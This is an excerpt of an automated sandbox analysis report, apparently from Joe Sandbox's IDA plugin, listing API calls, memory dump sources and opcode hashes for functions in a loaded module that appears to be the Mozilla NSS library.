Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C60FDFE), ref: 6C60FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C60FDFE), ref: 6C61001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C60FDFE), ref: 6C61006F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 91a558a6d00de289d26debdce20ad0d2d8e19a35e5b2362672060048df809fd5
Instruction ID: cbb78d23408fa0c754927aa7630a877eacd95ffd3324c02ead723a4b9b19a56c
Opcode Fuzzy Hash: 91a558a6d00de289d26debdce20ad0d2d8e19a35e5b2362672060048df809fd5
Instruction Fuzzy Hash: E541F171F052199FDF08CFA8D889AAE7775FF46316F240039D90693B00DB39A911CBA5

Function 6C6F7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6F7ED8

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7e0f803b1da2bfc25a7cda7c04b5ba20223f3e8024d46359903583cf081ca9c7
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B331A4B2A001158FDB04CF08DC9499ABBA3BF8831871B816AC8585B711EB71EC46CBD1

Function 6C6ADF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6ADBBD), ref: 6C6ADFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6ADFEE

Part of subcall function 6C6486D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C648716
Part of subcall function 6C6486D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C648727
Part of subcall function 6C6486D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C64873B
Part of subcall function 6C6486D0: PR_Unlock.NSS3(?), ref: 6C64876F
Part of subcall function 6C6486D0: PR_SetError.NSS3(00000000,00000000), ref: 6C648787

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6ADBBD), ref: 6C6ADFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6ADBBD), ref: 6C6AE007

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: da47d95d8c99fc88bfb88b301ad63d4dd35a34fc36bcad85d23c9f825df97d4e
Instruction ID: c1ea7469d19cfce9cdb475e1fe3342bd912310b53fab0cab60c1062ee851ef1c
Opcode Fuzzy Hash: da47d95d8c99fc88bfb88b301ad63d4dd35a34fc36bcad85d23c9f825df97d4e
Instruction Fuzzy Hash: 6331E7B1A0420157D711AABAAC84A9B73F89F5A30CF040135ED09D7B53FB35E919C2EE

Function 6C626C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C626C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C626CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C626CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C748FE0), ref: 6C626CFE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction ID: 5d2517513bd7b99b7f68007c832e725382ee43d8ebb04ab833b61d4ccd766f9f
Opcode Fuzzy Hash: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction Fuzzy Hash: 12318EB1A0121A9FEB08DF65C891ABFBBF9EF85348B10442DD905E7700EB35D915CBA4

Function 6C734F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C734F5D
free.MOZGLUE(?), ref: 6C734F74
free.MOZGLUE(?), ref: 6C734F82
GetLastError.KERNEL32 ref: 6C734F90

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction ID: 4dea6c2e3bd624abb9d18aefbcb263817993de5adcda0f64afccff2adef9907f
Opcode Fuzzy Hash: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction Fuzzy Hash: 85314B75A0022A4BEF01CB69DD45BDF77B8FF45348F0C0235EC19A7682D735D90486A1

Function 6C67DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DDF4

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DE17

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C67DE80

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: fd868277c390bc0580997bd726de8bbd9ff557446aef2be0c3a04c76ca602e3f
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 0731F6B19017429BE711CF16C880A96F7E4FFA5318B248A29D81D87B41E771F0E5CBA5

Function 6C66FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C645ADC,?,00000000,00000001,?,?,00000000,?,6C63BA55,?,?), ref: 6C66FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C66FE5F
PR_Unlock.NSS3(78831D74), ref: 6C66FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C66FED6

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c7c725aa2dde1d602313495a2a668fdbeb1414b8efe8cf105dc9cd0bfacea036
Instruction ID: 73074fdd7c3759730525f6e683816a7b8146fd189fa2cce444a182316dfd3e04
Opcode Fuzzy Hash: c7c725aa2dde1d602313495a2a668fdbeb1414b8efe8cf105dc9cd0bfacea036
Instruction Fuzzy Hash: AE212031E01225ABDB019E2AD80479A7BB8FF06358F180134ED04A7E02E730E925CBDB

Function 6C673F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FFE
PR_SetError.NSS3 ref: 6C67401A

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 46afb1445a2b6400ff7a2a78d7932bd0dac331027c54a9cf5566a0a492e479af
Instruction ID: 33b0695ce729008134f36a30a679248450fab505232873070f107ccb6560f3bc
Opcode Fuzzy Hash: 46afb1445a2b6400ff7a2a78d7932bd0dac331027c54a9cf5566a0a492e479af
Instruction Fuzzy Hash: 01318271604704CFD710AF69D0886AEB7F0FF89354F11592DD88987B10EB70E884CBA6

Function 6C664FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665064

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction ID: bdfe0447e42613fd556537cc03f4624798a3b4e6363ebb591745055b44525523
Opcode Fuzzy Hash: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction Fuzzy Hash: A03126B0A05606DFDB00EF69C48466ABBF4FF09304B158969E899D7B11E730E890CBD6

Function 6C689F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C68A71A,FFFFFFFF,?,?), ref: 6C689FAB

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C68A71A,6C68A71A,00000000), ref: 6C689FD9

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68136A
Part of subcall function 6C681340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68137E
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?), ref: 6C6813CF
Part of subcall function 6C681340: PR_Unlock.NSS3(?,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C68A71A,6C68A71A,00000000), ref: 6C68A009
PR_SetError.NSS3(FFFFE013,00000000,6C68A71A,6C68A71A,00000000), ref: 6C68A045

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: d4c28b60839f6a0606160bdf6fc71611060ab7525502799ca62cfc588518367f
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 552195B4602206ABF7109F15DC50F66B7A9FF9535CF108128DD2987BC2EB75D414CBA4

Function 6C692DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C692E08

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C692E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C692E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C692E95

Part of subcall function 6C681200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C681228
Part of subcall function 6C681200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C681238
Part of subcall function 6C681200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68124B
Part of subcall function 6C681200: PR_CallOnce.NSS3(6C782AA4,6C6812D0,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68125D
Part of subcall function 6C681200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C68126F
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C681280
Part of subcall function 6C681200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C68128E
Part of subcall function 6C681200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C68129A
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6812A1

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: b4d739398dfa3d799f14f7727e98741be45c56a0fd9c0afe004bfa3e41d48d3b
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: B1212BB1D013464BE700CF549D84BAB3764AF9230CF110269DD185B752F7B1E699C3AA

Function 6C64ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C64ACC2

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

Part of subcall function 6C622AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C620A1B,00000000), ref: 6C622AF0
Part of subcall function 6C622AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C64AD5E

Part of subcall function 6C6657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C62B41E,00000000,00000000,?,00000000,?,6C62B41E,00000000,00000000,00000001,?), ref: 6C6657E0
Part of subcall function 6C6657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C665843

CERT_DestroyCertList.NSS3(?), ref: 6C64AD36

Part of subcall function 6C622F50: CERT_DestroyCertificate.NSS3(?), ref: 6C622F65
Part of subcall function 6C622F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C622F83

free.MOZGLUE(?), ref: 6C64AD4F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction ID: 0bb582db0697068806ad80885e556d798d48e5f177fa7333daf12105002df7e5
Opcode Fuzzy Hash: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction Fuzzy Hash: 042181B1D002189BEB10DF64D8055EEB7B4AF06259F15C079D805BBB02FB31AA59CBAD

Function 6C673C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C673C9E
EnterCriticalSection.KERNEL32(?), ref: 6C673CAE
PR_Unlock.NSS3(?), ref: 6C673CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C673D02

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
